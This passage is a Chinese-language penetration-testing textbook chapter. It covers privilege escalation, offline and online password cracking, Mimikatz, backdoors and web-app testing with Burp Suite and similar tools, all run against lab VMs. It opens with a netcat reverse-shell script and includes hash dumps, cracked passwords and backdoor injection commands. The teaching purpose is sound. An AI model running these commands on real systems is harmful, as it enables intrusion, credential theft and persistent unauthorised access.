echo '#!/bin/bash' > run echo '/bin/netcat -e /bin/bash 172.16.43.150 31337' >> run

我们还需要通过发出以下命令在攻击机器上启动 Netcat 监听器:

nc -vv -l -p 31337

唯一剩下的事情就是使用所需的参数运行利用程序:

./8512.c 2675

在我们的攻击机器上,我们可以看到以下消息:

在发出whoami命令后,我们可以看到我们已成功将特权提升为 root。

密码攻击工具

目前密码被用作认证用户登录系统的主要方法。用户提交正确的用户名和密码后,系统将允许用户登录并根据该用户名的授权访问其功能。

以下三个因素可以用来对认证类型进行分类:

  • 你知道的东西:这通常被称为认证的第一因素。密码属于这种类型。理论上,这个因素应该只有被授权的人知道。但在现实中,这个因素很容易泄露或被捕获;因此不建议使用这种方法对用户进行敏感系统的认证。

  • 你拥有的东西:这通常被称为认证的第二因素,这个因素的例子包括安全令牌和卡片。在您向系统证明您拥有认证因素之后,您将被允许登录。这个因素的缺点是容易被克隆。

  • 你是的东西:这通常被称为认证的第三因素,例如生物识别和视网膜扫描。这个因素是最安全的,但已经有几种已公开的攻击针对这个因素。

为了更安全,人们通常使用多于一个因素。最常见的组合是使用第一和第二因素的认证。由于这种组合使用了两个认证因素,通常被称为双因素认证。

很遗憾,根据我们的渗透测试经验,基于密码的身份验证仍然被广泛使用。作为一名渗透测试人员,在渗透测试过程中,您应该检查密码安全性。

根据密码攻击的方式,这个过程可以分为以下类型:

  • 离线攻击:在这种方法中,攻击者从目标机器获取哈希文件并将其复制到攻击者的机器上。然后,攻击者使用密码破解工具来破解密码。使用此方法的优势在于,攻击者无需担心目标机器中可用的密码阻止机制,因为该过程是在本地完成的。

  • 在线攻击:在这种方法中,攻击者尝试通过猜测凭据来登录远程机器。这种技术可能会触发远程机器在多次尝试猜测密码失败后阻止攻击者机器。

离线攻击工具

此类别中的工具用于离线密码攻击。通常,这些工具用于进行垂直特权升级,因为您可能需要特权帐户来获取密码文件。

当您已经拥有特权凭据时,为什么还需要其他凭据?在对系统进行渗透测试时,您可能会发现特权帐户可能没有配置来运行应用程序。如果是这种情况,您就无法测试它。但是,在您以普通用户身份登录后,您就能够正确运行应用程序。这就是您需要获取其他凭据的原因之一。

另一个案例是,在利用 SQL 注入漏洞后,您能够转储数据库并发现凭据是使用哈希存储的。为了帮助您从哈希中获取信息,您可以使用此类别中的工具。

John the Ripper

John the Ripper (www.openwall.com/john/) 是一个可以用来破解密码哈希的工具。目前,它可以破解 40 多种密码哈希类型,如 DES、MD5、LM、NT、crypt、NETLM 和 NETNTLM。使用 John 而不是本章中描述的其他密码破解工具的原因之一是,John 能够使用 DES 和 crypt 加密算法。

要启动 John 工具,请使用控制台执行以下命令:

 # john

这将在屏幕上显示 John 的使用说明。

John 支持以下四种密码破解模式:

  • 单词列表模式:在这种模式下,您只需要提供单词列表文件和要破解的密码文件。单词列表文件是一个包含可能密码的文本文件。每行只有一个单词。您还可以使用规则指示 John 根据规则修改单词列表中包含的单词。要使用单词列表,只需使用--wordlist=<wordlist_name>选项。您可以创建自己的单词列表,也可以从其他人那里获取。有许多网站提供单词列表。例如,有来自 Openwall Project 的单词列表,可以从download.openwall.net/pub/wordlists/下载。

  • 单破解模式:这种模式是由 John 的作者建议首先尝试的。在这种模式下,John 将使用登录名、全名字段和用户的主目录作为密码候选项。然后,这些密码候选项被用来破解它们所取自的帐户的密码,或者用来破解具有相同盐的密码哈希。因此,它比单词列表模式要快得多。

  • 递增模式:在这种模式下,John 将尝试所有可能的字符组合作为密码。虽然这是最强大的破解方法,但如果您不设置终止条件,该过程将需要很长时间。终止条件的示例是设置短密码限制和使用小字符集。要使用此模式,您需要在 John 的配置文件中分配递增模式。预定义的模式有 All、Alnum、Alpha、Digits 和 Lanman,或者您可以定义自己的模式。

  • 外部模式:使用此模式,您可以使用 John 使用的外部破解模式。您需要创建一个名为[List.External:MODE]的配置文件部分,其中MODE是您分配的名称。此部分应包含用 C 编程语言的子集编程的函数。稍后,John 将编译并使用此模式。您可以在www.openwall.com/john/doc/EXTERNAL.shtml上阅读更多关于此模式的信息。

如果您在命令行中没有指定 John 的破解模式作为参数,它将使用默认顺序。首先,它将使用单破解模式,然后是字典模式,之后将使用增量模式。

在您可以使用 John 之前,您需要获取密码文件。在 Unix 世界中,大多数系统使用shadowpasswd文件。您可能需要以 root 用户身份登录才能读取 shadow 文件。

获取密码文件后,您需要将这些文件组合起来,以便 John 可以使用它们。为了帮助您,John 为您提供了一个名为unshadow的工具。

以下是组合 shadow 和passwd文件的命令。为此,我使用 Metasploitable 2 虚拟机中的/etc/shadow/etc/passwd文件,并将它们放在一个名为pwd的目录中,分别命名为etc-shadowetc-passwd

# unshadow etc-passwd etc-shadow > pass

以下是pass文件内容的片段:

root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash
service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash

要破解密码文件,只需给出以下命令,其中pass是您刚生成的密码列表文件:

john pass

如果 John 成功破解了密码,它将把这些密码存储在john.pot文件中。要查看密码,您可以发出以下命令:

john --show pass

在这种情况下,John 很快地破解了密码,如下面的屏幕截图所示:

以下表格是破解密码的列表:

用户名 密码
postgres postgres
user user
msfadmin msfadmin
service service
klog 123456789
sys batman

pass文件中列出的七个密码中,John 设法破解了六个密码。只有root的密码无法立即破解。

如果您想破解 Windows 密码,首先需要从 Windows 系统和 SAM 文件中提取 Windows 密码哈希(LM 和/或 NTLM)以pwdump输出格式。您可以查阅www.openwall.com/passwords/microsoft-windows-nt-2000-xp-2003-vista-7#pwdump来了解其中几种实用程序。其中之一是 Kali Linux 中提供的samdump2

要使用password.lst字典破解从samdump2获取的 Windows 哈希,您可以使用以下命令,并且获取的输出显示在以下屏幕截图中:

    # john test-sam.txt --wordlist=password.lst --format=nt

password.lst文件内容如下:

password01 

要查看结果,请给出以下命令:

    # john test-sam.txt --format=nt --show 

以下屏幕截图显示了获取的密码片段:

John 能够获取 Windows 机器的管理员密码,但无法破解tedi用户的密码。

如果 GUI 更适合您,John 还有一个名为 Johnny 的图形界面。

要启动 Johnny,请打开控制台并输入以下命令:

# johnny

然后您将看到 Johnny 窗口。

以下屏幕截图显示了破解相同 Metasploitable 2 哈希的结果:

Ophcrack

Ophcrack 是基于彩虹表的密码破解程序,可用于破解 Windows LM 和 NTLM 密码哈希。它作为命令行和图形用户界面程序提供。就像 RainbowCrack 工具一样,Ophcrack 基于时间-内存折衷方法。

要启动ophcrack命令行,请使用控制台执行以下命令:

    # ophcrack-cli  

这将在您的屏幕上显示 Ophcrack 的使用说明和示例。

要启动 Ophcrack GUI,请使用控制台执行以下命令:

    # ophcrack  

这将显示 Ophcrack GUI 页面。

在使用 Ophcrack 之前,您需要从 Ophcrack 网站(ophcrack.sourceforge.net/tables.php)获取彩虹表。目前,有三个可以免费下载的表:

例如,我们使用xp_free_fast表,并且已提取并将文件放在xp_free_small目录中。Windows XP 密码哈希文件存储在pwdump格式的test-sam文件中。

我们使用以下命令来破解先前获得的 Windows 密码哈希:

    # ophcrack-cli -d fast -t fast -f test-sam

以下输出显示了破解过程:

    Four hashes have been found in test-sam:
    Opened 4 table(s) from fast.
    0h  0m  0s; Found empty password for user tedi (NT hash #1)
    0h  0m  1s; Found password D01 for 2nd LM hash #0
    0h  0m 13s; Found password PASSWOR for 1st LM hash #0in table XP free fast #1 at column 4489.
    0h  0m 13s; Found password password01 for user Administrator (NT hash #0)
    0h  0m 13s; search (100%); tables: total 4, done 0, using 4; pwd found 2/2.

以下是ophrack的结果:

    Results:
    username / hash                  LM password    NT password
    Administrator                    PASSWORD01     password01
    tedi                             *** empty ***  *** empty ***

您可以看到 Ophcrack 能够获取相应用户的所有密码。

另一个要查看的工具是 RainbowCrack。在 Kali 中,RainbowCrack 带有三个工具:rtgenrtsortrcrack

要使用 RainbowCrack 或 OphCrack 工具,您将需要彩虹表。您可以在以下位置获取一些免费表:

samdump2

要从 Windows 2K/NT/XP/Vista SAM 数据库注册表文件中提取密码哈希,您可以使用samdump2sourceforge.net/projects/ophcrack/files/samdump2/)。使用samdump2,您无需首先提供系统密钥(SysKey)即可获取密码哈希。SysKey 是用于加密安全帐户管理器(SAM)文件中哈希的密钥。它是在 Windows NT Service Pack 3 中引入和启用的。

要启动samdump2,请使用控制台执行以下命令:

    # samdump2  

这将在您的屏幕上显示简单的使用说明。

有几种方法可以获取 Windows 密码哈希:

  • 第一种方法是使用samdump2程序利用 Windowssystem和 SAM 文件。这些文件位于c:%windows%system32config目录中。如果 Windows 正在运行,此文件夹对所有帐户都是锁定的。要解决此问题,您需要启动 Linux Live CD,例如 Kali Linux,并挂载包含 Windows 系统的磁盘分区。之后,您可以将系统和 SAM 文件复制到您的 Kali 机器上。

  • 第二种方法是使用pwdump程序及其相关的变体工具从 Windows 机器获取密码哈希文件。

  • 第三种方法是使用 meterpreter 脚本中显示的hashdump命令。要使用此方法,您需要利用系统并首先上传 meterpreter 脚本。

在我们的练习中,我们将转储 Windows XP SP3 密码哈希。我们假设您已经拥有系统和 SAM 文件,并已将它们存储在您的主目录中,如 system 和sam

以下命令用于使用samdump2转储密码哈希:

    # samdump2 system sam -o test-sam

输出保存在test-sam文件中。以下是test-sam文件内容:

Administrator:500:e52cac67419a9a22c295285c92cd06b4:b2641aea8eb4c00ede89cd2b7c78f6fb::: 
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 
HelpAssistant:1000:383b9c42d9d1900952ec0055e5b8eb7b:0b742054bda1d884809e12b10982360b::: 
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:a1d6e496780585e33a9ddd414755019a::: 
tedi:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 

然后可以将test-sam文件提供给密码破解工具,如 John 或 Ophcrack。

在线攻击工具

在前一节中,我们讨论了几种可以用于离线模式下破解密码的工具。在本节中,我们将讨论一些必须在连接到目标机器时使用的密码攻击工具。

我们将讨论可用于以下目的的工具:

  • 生成单词列表

  • 查找密码哈希

  • 在线密码攻击工具

前两个工具用于从目标网站收集的信息生成单词列表,而另一个工具用于在在线密码哈希服务数据库中搜索密码哈希。

在线密码攻击工具将尝试登录到远程服务,就像用户登录一样,使用提供的凭据。该工具将尝试多次登录,直到找到正确的凭据为止。

这种技术的缺点是,因为您直接连接到目标服务器,您的操作可能会被注意到并被阻止。此外,由于该工具利用了登录过程,因此与离线攻击工具相比,运行时间会更长。

尽管该工具速度较慢且可能触发阻止机制,但通常无法使用离线密码破解工具破解网络服务,如 SSH、Telnet 和 FTP。在进行在线密码攻击时,您可能需要非常小心;特别是在对 Active Directory(AD)服务器进行暴力破解时,可能会阻止所有用户帐户。您需要首先检查密码和锁定策略,然后尝试为所有帐户仅使用一个密码,以免阻止帐户。

CeWL

自定义单词列表(CeWL)(www.digininja.org/projects/cewl.php)生成器是一个工具,它将爬取目标统一资源定位符(URL)并创建在该 URL 上找到的单词的唯一列表。然后可以将此列表用于密码破解工具,如 John the Ripper。

以下是 CeWL 中几个有用的选项:

  • depth N-d N:这将设置蜘蛛深度为N;默认值为2

  • min_word_length N-m N:这是最小单词长度;默认长度为3

  • verbose-v:这会提供详细输出

  • write-w:这是将输出写入文件

如果在 Kali 中运行 CeWL 时出现错误消息Error: zip/zip gem not installed,请使用gem install zip/zip安装所需的 gem 来解决此问题。要解决此问题,只需按照安装zip gem的建议进行操作:

    gem install zip
    Fetching: zip-2.0.2.gem (100%)
    Successfully installed zip-2.0.2
    1 gem installed
    Installing ri documentation for zip-2.0.2...
    Installing RDoc documentation for zip-2.0.2...

让我们尝试从目标网站创建自定义单词列表。在这种情况下,我们将使用 Metasploitable 中的内置网站。要创建单词列表,将使用以下cewl命令:

    cewl -w metasploitable.txt http://172.16.43.156/mutillidae

一段时间后,结果将被创建。在 Kali 中,输出存储在根目录中。

以下是target.txt文件的摘要内容:

the 
Injection 
var 
and 
Storage 
Site 
Data 
User 
Log 
Info 
blog 
File 
HTML5 
Login 
Viewer
Lookup 
securityLevelDescription 
Mutillidae 

Hydra

Hydra 是一个可以用于猜测或破解登录用户名和密码的工具。它支持许多网络协议,如 HTTP、FTP、POP3 和 SMB。它通过使用提供的用户名和密码并尝试并行登录到网络服务来工作;默认情况下,它将使用 16 个连接登录到同一主机。

要启动 Hydra,请使用控制台执行以下命令:

    # hydra  

这将在屏幕上显示 Hydra 的使用说明。

在我们的练习中,我们将对位于172.16.43.156的 VNC 服务器的密码进行暴力破解,并使用包含在password.lst文件中的密码。执行此操作的命令如下:

    # hydra -P password.lst 172.16.43.156 vnc  

以下屏幕截图显示了此命令的结果:

从前面的截图中,我们可以看到 Hydra 能够找到 VNC 密码。在目标服务器上使用的密码是password01password

要验证 Hydra 获取的密码是否正确,只需运行vncviewer到远程机器并使用找到的密码。

以下截图显示了运行vncviewer的结果:

从前面的截图中,我们可以看到我们能够使用破解的密码登录 VNC 服务器,并获得 VNC 根凭据。太棒了!

除了使用 Hydra 命令行,还可以通过执行以下命令使用 Hydra GUI:

    # xhydra  

以下截图显示了运行 Hydra GTK 攻击目标上的 SSH 服务的结果:

Mimikatz

Mimikatz 是一个后渗透工具,旨在为渗透测试人员提供在获得立足点后保持访问权限和破坏凭据的能力。虽然是一个独立的程序,但它已经成为 Metasploit 框架的一部分。Mimikatz 允许在不离开 Metasploit 框架的情况下在受损系统中收集凭据。一旦获得系统级别访问权限,可以使用以下命令在 meterpreter shell 中启动 Mimikatz:

    meterpreter > load mimikatz  

一旦加载了 Mimikatz,输入以下内容以获取可用命令的列表:

    meterpreter > help mimikatz  

以下截图显示了输出:

Mimikatz 有两种与 Metasploit 一起使用的方式。第一种是使用 Mimikatz 的全部功能。这些从mimikatz_command开始。例如,如果我们想要从受损系统中转储哈希值,输入以下命令:

    meterpreter > mimikatz_command -f sampdump::hashes  

这会产生以下输出:

另一个功能是在受损机器上搜索凭据的能力。在这里,我们使用以下命令:

    meterpreter > mimikatz_command -f sekurlsa::searchPasswords  

输出显示了 Mimikatz 如何能够获取受损系统的Administrator密码:

Metasploit 还包含几个利用 Mimikatz 执行后渗透活动的命令。与哈希dump命令类似,以下命令将从受损系统中转储哈希值:

    meterpreter > msv  

这会产生以下输出:

Metasploit 的另一个命令利用 Mimikatz 的是Kerberos命令,它将在受损机器上获取明文凭据:

    meterpreter > Kerberos  

然后命令产生以下输出:

维持访问

在提升特权到目标机器之后,我们应该采取的下一步是创建一种机制来保持我们对目标机器的访问权限。因此,将来,如果您利用的漏洞被修补或关闭,您仍然可以访问系统。在执行此操作之前,您可能需要与客户进行咨询。此外,在渗透测试期间,确保所有放置的后门都得到适当记录是非常重要的,以便在测试结束后将其删除。

现在,让我们来看一些可以帮助我们在目标机器上保持访问权限的工具。这些工具被分类如下:

  • 操作系统后门

  • 隧道工具

  • Web 后门

操作系统后门

简而言之,后门是一种方法,允许我们在目标机器上保持访问权限,而不使用正常的身份验证过程并保持不被发现。在本节中,我们将讨论几种可以用作操作系统后门的工具。

Cymothoa

Cymothoa是一个后门工具,允许你将其 shellcode 注入到现有进程中。这样做的原因是为了将其伪装成一个常规进程。后门应该能够与注入的进程共存,以免引起管理员的怀疑。将 shellcode 注入到进程中还有另一个优势;如果目标系统有安全工具,只监视可执行文件的完整性,而不检查内存,那么进程的后门就不会被检测到。

要运行 Cymothoa,只需输入以下命令:

    cymothoa  

你会看到 Cymothoa 助手页面。强制选项是进程 IDPID),-p,要注入的和 shellcode 编号,-s

要确定 PID,您可以在目标机器上使用ps命令。您可以使用-S(列出可用的 shellcode)选项来确定 shellcode 编号:

一旦你成功入侵目标,你可以将 Cymothoa 二进制文件复制到目标机器上生成后门。

Cymothoa 二进制文件在目标机器上可用后,您需要找出要注入的进程和 shellcode 类型。

要列出 Linux 系统中运行的进程,我们可以使用带有-aux选项的ps命令。以下截图显示了运行该命令的结果。输出中有几列可用,但为了这个目的,我们只需要以下列:

  • 用户(第一列)

  • PID(第二列)

  • 命令(第十一列)

在这个练习中,我们将注入到2765udevd)PID 中,并且我们将使用载荷编号1。我们需要使用-y选项设置载荷的端口号[port number 4444]。以下是这种情况下的 Cymothoa 命令:

    ./cymothoa -p 2765 -s 1 -y 4444  

以下是此命令的结果:

让我们尝试从另一台机器登录到我们的后门(端口4444)上,发出以下命令:

    nc -nvv 172.31.99.244 4444  

这里,172.31.99.244是目标服务器的 IP 地址。

以下是结果:

我们已成功连接到远程机器上的后门,并且能够向远程机器发出多个命令。

由于后门附加到运行的进程,您应该意识到一旦进程被终止或远程机器被重新启动,此后门将不可用。出于这个目的,您需要一个持久的后门。

Meterpreter 后门

Metasploit meterpreter 具有metsvc后门,这将允许您随时获取 meterpreter shell。

请注意,metsvc后门没有身份验证,因此任何能够访问后门端口的人都可以使用它。

对于我们的示例,我们将使用 Windows XP 操作系统作为受害机器,其 IP 地址为192.168.2.21;我们的攻击机器的 IP 地址为192.168.2.22

要启用metsvc后门,您首先需要利用系统并获取 meterpreter shell。之后,使用 meterpreter 的 migrate 命令将进程迁移到其他进程,如explorer.exe(2),这样即使受害者关闭了您的payload(1),您仍然可以访问系统:

要安装metsvc服务,我们只需要输入以下命令:

    run metsvc  

以下是该命令的结果:

现在让我们去受害者机器。后门位于C:Documents and SettingsAdministratorLocal SettingsTempPvtgZxEAL

你可以在那里看到metsvc EXE 和 DLL 文件。现在,让我们重新启动受害者机器,看看后门是否能够工作。

在攻击机器上,我们使用以下选项启动 multihandler,使用metsvc载荷,如下所示:

设置所有选项后,只需输入execute来运行攻击:

攻击成功执行;我们现在再次拥有了 meterpreter 会话。您可以利用 meterpreter 会话做任何事情。

要从受害者机器中删除metsvc服务,您可以从 meterpreter shell 运行以下命令:

    run metsvc -r  

之后,从受害者机器中删除metsvc文件。

摘要

在本章中,我们尝试提升当前访问级别,并借助许多工具来 compromise 系统上的其他账户。在下一章中,我们将攻击网络应用程序和网站,以利用配置不当的安全检查点来获取对网络和后端系统的访问权限,从而实现数据的外泄。

第十章:Web 应用程序测试

在第六章中,漏洞扫描,我们看了使用 Nessus 和 OpenVAS 进行漏洞扫描,这两个都是非常强大的工具。在本章中,我们将专门研究用于 Web 和 Web 应用程序扫描和攻击的工具。

如今开发的大多数应用程序集成了不同的 Web 技术。这增加了暴露敏感数据的复杂性和风险。Web 应用程序一直是恶意对手窃取、操纵、破坏和勒索企业业务的长期目标。Web 应用程序的大量增加给渗透测试人员带来了巨大的挑战。关键在于保护 Web 应用程序的前端,其后端通常包括数据库、任何额外的微服务和整体网络安全。这是必要的,因为 Web 应用程序充当数据处理系统,数据库负责存储敏感数据(例如信用卡、客户详细信息和身份验证数据)。

本章将介绍的工具包括 Web 应用程序侦察和漏洞扫描程序、代理、数据库攻击类型、Web 攻击工具以及一些客户端/浏览器攻击工具。

技术要求

本章需要以下内容:

  • Kali Linux

  • OWASP Broken Web Applications (BWA)

OWASP BWA 是来自 OWASP 的预配置虚拟机,其中包含一些易受攻击的 Web 应用程序。我们将使用 VM 上的一个应用程序,即Damn Vulnerable Web App (DVWA)。

Web 分析

在本节中,我们将介绍用于识别 Web 应用程序可能漏洞的工具。其中一些工具,特别是 Burp Suite 和 OWASP ZAP,不仅可以对 Web 和云应用程序执行漏洞评估,还可以攻击这些漏洞,并且您将在本章后面看到它们的出现。

根据我们从各种工具的结果中收集的信息,我们将能够确定我们的攻击向量,试图通过密码攻击或从数据库或系统本身中窃取数据来访问系统。

Nikto

Nikto 是一个基本的 Web 服务器安全扫描程序。它扫描并检测 Web 应用程序上通常由服务器配置错误、默认和不安全文件以及过时的服务器应用程序引起的漏洞。由于 Nikto 纯粹基于 LibWhisker2 构建,因此它支持跨平台部署、SSL、主机身份验证方法(NTLM/基本)、代理和几种 IDS 逃避技术。它还支持子域枚举、应用程序安全检查(XSS、SQL 注入等),并且能够使用基于字典的密码攻击来猜测授权凭据。

要使用nikto,您可以转到应用程序菜单| 03-Web 应用程序分析| Web 漏洞扫描程序| nikto,或者在终端中简单地输入以下内容:

# nikto

要找到 Nikto,可以轻松地转到应用程序|漏洞分析|nikto。

默认情况下,就像之前在其他应用程序中看到的那样,只需运行命令即可显示我们可用的不同选项。要扫描目标,请输入nikto -h <target> -p <port>,其中<target>是目标网站的域名或 IP 地址,<port>是服务运行的端口。对于这次扫描,nikto将针对一个名为 OSWAP BWA 的本地 VM 进行扫描(可在sourceforge.net/projects/owaspbwa/files/找到)。OWASP BWA 是一个基于 VMware 的虚拟机中的故意易受攻击的 Web 应用程序集合:

在屏幕截图中阅读结果片段时,在前几行中,nikto告诉我们目标的 IP 地址和主机名。在基本目标信息之后,nikto显示了正在运行的 Web 服务器及其版本,例如 Ubuntu 系统上的 Apache 2.2.14,并加载了一些模块,例如mod_perl/2.0.4OpenSSL/0.9.8k。继续向下看,我们看到了一些有用的信息,例如 CGI 文件夹的路径(/cgi-bin/),以及一些加载的模块已经过时:

在结果的更下方,nikto显示了 OSVDB 代码。OSVDB 是开放式漏洞数据库的缩写。这是安全行业专业人士于 2004 年正式启动的一个倡议,是一个存储安全漏洞的技术信息的数据库(其中绝大多数是与 Web 应用程序相关的)。不幸的是,由于缺乏支持和贡献,该服务于 2016 年 4 月关闭,但是,cve.mitre.org团队已经编制了一个参考地图,将 OSVDB 与 CVE 条目联系起来(cve.mitre.org/data/refs/refmap/source-OSVDB.html)。

这可以用来获取nikto提供的 OSVDB 代码的更多详细信息:

Nikto 具有识别 Web 应用程序漏洞的功能,例如信息泄露、注入(XSS/Script/HTML)、远程文件检索(服务器范围内)、命令执行和软件识别。除了基本扫描外,Nikto 允许渗透测试人员定制其特定目标的扫描。以下是一些可用于扫描的选项:

  • 使用-T命令行开关和单独的测试编号,可以将测试定制为特定类型

  • 通过使用–t,您可以为每个测试响应设置超时值

  • -D V控制显示输出

  • -o-F定义了要以特定格式编写的扫描报告

  • 还有其他高级选项,例如–mutate(猜测子域、文件、目录和用户名)、-evasion(绕过 IDS 过滤器)和-Single(用于单个测试模式),您可以使用这些选项深入评估您的目标

OWASP ZAP

OWASP Zed Attack ProxyZAP)是一个 Web 应用程序漏洞扫描器。由 OWASP 项目创建,这是一个基于 Java 的开源扫描器,具有很多功能。它包括 Web 爬虫、漏洞识别和模糊分析,并且可以作为 Web 代理。要启动 ZAP,转到应用程序|Web 应用程序分析|owasp-zap,或在终端中输入:

# owasp-zap

加载后,很容易开始扫描目标站点。在 ZAP 的主屏幕上,有一个字段用于输入目标的地址。这次,目标是 BWA 虚拟机上易受攻击的 Web 应用程序之一,DVWA。输入目标后,单击“Attack”按钮,观察 ZAP 的工作:

扫描结果出现在主屏幕底部。ZAP 扫描站点时的第一步是识别或爬行整个站点,跟随与主机相关的链接:

在爬行网站之后,ZAP 对常见的 Web 应用程序漏洞进行了多种不同的检查。这些漏洞在左下角的警报选项卡下显示。例如,以下是 ZAP 在 DVWA 应用程序上识别的漏洞:

然后,您可以深入研究特定站点路径,以确定这些漏洞确切出现的位置;在这种情况下,我们看到login.php容易受到 SQL 注入的攻击:

扫描只是 ZAP 提供的所有工具的表面。有关 ZAP 的更多信息,OWASP 的资源位于www.owasp.org/index.php/ZAP

Burp Suite

Burp Suite 是强大的 Web 应用程序安全工具的组合。这些工具展示了攻击者渗透 Web 应用程序的真实能力。它们可以使用手动和自动技术扫描、分析和利用 Web 应用程序。这些工具之间的接口集成设施提供了一个完整的攻击平台,可以在一个或多个工具之间共享信息。这使得 Burp Suite 成为一个非常有效和易于使用的 Web 应用程序攻击框架。

要启动 Burp Suite,请导航到应用程序|Web 应用程序分析|burpsuite 或使用终端执行以下命令:

# burpsuite

当首次启动 Burp 时,您将被要求接受条款和条件,并设置您的项目环境(现在保持默认设置就足够了):

您将在屏幕上看到一个 Burp Suite 窗口。所有集成工具(目标、代理、蜘蛛、扫描器、入侵者、重复者、顺序器、解码器和比较器)都可以通过它们各自的选项卡访问。您可以通过帮助菜单或访问www.portswigger.net/burp/help/获取有关它们的使用和配置的更多详细信息。请注意,Burp Suite 有三个不同的版本:免费(社区)、专业版和企业版。Kali 中提供的是免费社区版。

如前所述,Burp Suite 自带其自己的 Spider。应用程序感知蜘蛛,或 burpspider,是一个网络爬虫,本质上是一个系统地浏览目标站点及其所有内部页面并映射其结构的机器人。

在我们的示例中,我们将使用 Burp 来破解登录凭据以访问 DVWA 应用程序。首先,我们需要设置代理,并验证 IP 是否设置为本地主机 IP,端口应为8080。转到代理选项卡,然后转到选项子选项卡:

还要验证代理选项在代理选项卡下是否打开,然后检查是否打开拦截选项卡:

完成后,打开浏览器,转到选项|首选项|高级|网络|连接设置。

现在,您需要将浏览器设置为代理:

这就是我们的初始设置。现在,我们需要访问目标站点,即192.168.0.32/dvwa

输入地址后,它应该保持在连接循环中。但是,如果您查看 Burp Suite 界面,您可以看到一些数据:

点击几次“前进”后,浏览器应该加载到网页。

在 Burp Suite 中,在目标选项卡下,现在在站点地图选项卡中有一些数据:

然后,只需右键单击主机并选择从此处蜘蛛或从主机蜘蛛。

现在,在某个地方,您应该会收到一个弹出窗口,指示 burpspider 发现了一个请求一些信息的表单。当 burpspider 发现表单时,它总是会弹出。请记住,表单可以请求用户凭据,也可以是一个简单的搜索/查询/查找表单。

说到这一点,在我们的情况下,这是一个登录表单:

回到目标站点上的页面,通过在页面上的登录表单中输入一些随机凭据,为 Burp Suite 的入侵者工具生成一些流量。

输入凭据后,查看我们的拦截器:

注意我们得到的关键信息,用户名和密码,并在网页上验证它如何告诉我们我们输入的凭据是错误的。在这种情况下,它告诉我们登录失败了,是一个简单的字符串消息,然而,有时可能会是一个弹出窗口或一个 cookie。

现在,右键单击目标,选择发送到 Intruder。

在 Intruder 选项卡下,选择 Positions 选项卡:

用户名和密码是我们输入的用户名和密码。请注意,默认情况下,可能会突出显示更多字段或位置。要清除这些字段,只需单击我们不想要的字段,然后单击右侧的清除按钮。这些字段或位置是 Intruder 将用我们定义的负载替换的地方,本例中是用户名和密码。

在继续之前,请验证攻击类型是否设置为 Cluster bomb。现在,转到 Payloads 选项卡:

当您点击负载集下拉菜单时,其中的计数应反映在位置选项卡中的位置数。

现在,选择 1,这将对应用户名字段,并将负载类型设置为 Simple list。在 Payload Sets 部分的 Payload Options 部分中,输入用户名在标有“输入新项目”的文本字段中,然后点击添加。这将被 Intruder 用作用户名。您可以添加多个用户名。

目前,我只会输入admin用户名进行测试:

现在,让我们设置负载集 2,即密码字段。不要逐个输入密码,点击加载按钮,加载你的密码文件之一(rockyou.txt位于 Kali 的/usr/share/wordlist中):

一切设置好后,点击开始攻击:

这个截图显示了结果弹出窗口。查看结果,所有尝试都得到了302的状态(HTTP 响应代码)。快速搜索 HTTP 响应代码表明这会导致重定向,但重定向到哪里呢?

如果我们点击每个结果,然后选择响应选项卡,你会看到唯一重定向到index.php的结果是admin:password。现在我们可以转到 DVWA 登录页面,输入凭据,获得对该站点的访问权限。

我们还可以通过 Burp Suite 中的另一个工具 Repeater 来验证这一点。Repeater 用于手动修改 HTTP 请求和请求中发送的数据。

回到目标选项卡,选择login.phpPOST请求。这是发送用户名和密码的表单请求。右键单击它,选择发送到 Repeater。

现在,选择 Repeater 选项卡:

password=之后,删除错误的密码,输入将我们重定向到index.php的密码。在这种情况下,密码是password。完成后,点击 Go:

在响应面板中,我们看到 Location:index.php。现在,点击顶部的跟随重定向按钮。这会产生原始 HTML,以及在渲染选项卡下的渲染,显示页面应该是什么样子的:

在这个例子中,我们使用了 Burp Suite 提供的一些常用工具。作为一款集成了所有功能的应用安全工具包,Burp Suite 是一个非常全面和强大的 Web 应用程序攻击平台。

解释每个部分超出了本书的范围;因此,我们强烈建议您访问该网站(www.portswigger.net)以获取更详细的示例。

Paros 代理

Paros 代理是一个有价值且强大的漏洞评估工具。它可以爬行整个网站并执行各种漏洞测试。它还允许审计员通过在浏览器和实际目标应用程序之间设置本地代理来拦截 Web 流量(HTTP/HTTPS)。这种机制帮助审计员干扰或操纵发送到目标应用程序的特定请求,以便手动测试。因此,Paros 代理充当主动和被动的 Web 应用程序安全评估工具。要启动 Paros 代理,请导航到应用程序 | Web 应用程序分析 | paros 或在终端中输入以下命令:

# paros

这将打开 Paros 代理窗口。在进行任何实际练习之前,您需要在您喜欢的浏览器中设置本地代理(127.0.0.1, 8080)。如果您需要更改任何默认设置,请导航到菜单栏中的工具 | 选项。这将允许您修改连接设置、本地代理值、HTTP 身份验证和其他相关信息。设置好您的浏览器后,访问您的目标网站。

以下是漏洞测试和获取其报告的步骤:

  1. 在我们的案例中,我们浏览http://192.168.0.30/mutillidae并注意到它出现在 Paros 代理的站点选项卡下。

  2. 右键单击http://192.168.0.30/mutillidae并选择 Spider 以爬行整个网站。这将需要几分钟,具体取决于您的网站大小。

  3. 网站爬行完成后,您可以在底部的 Spider 选项卡中看到所有发现的页面。此外,您可以通过在站点选项卡的左侧面板上选择目标网站,并选择特定页面来追踪所需页面的特定请求和响应。

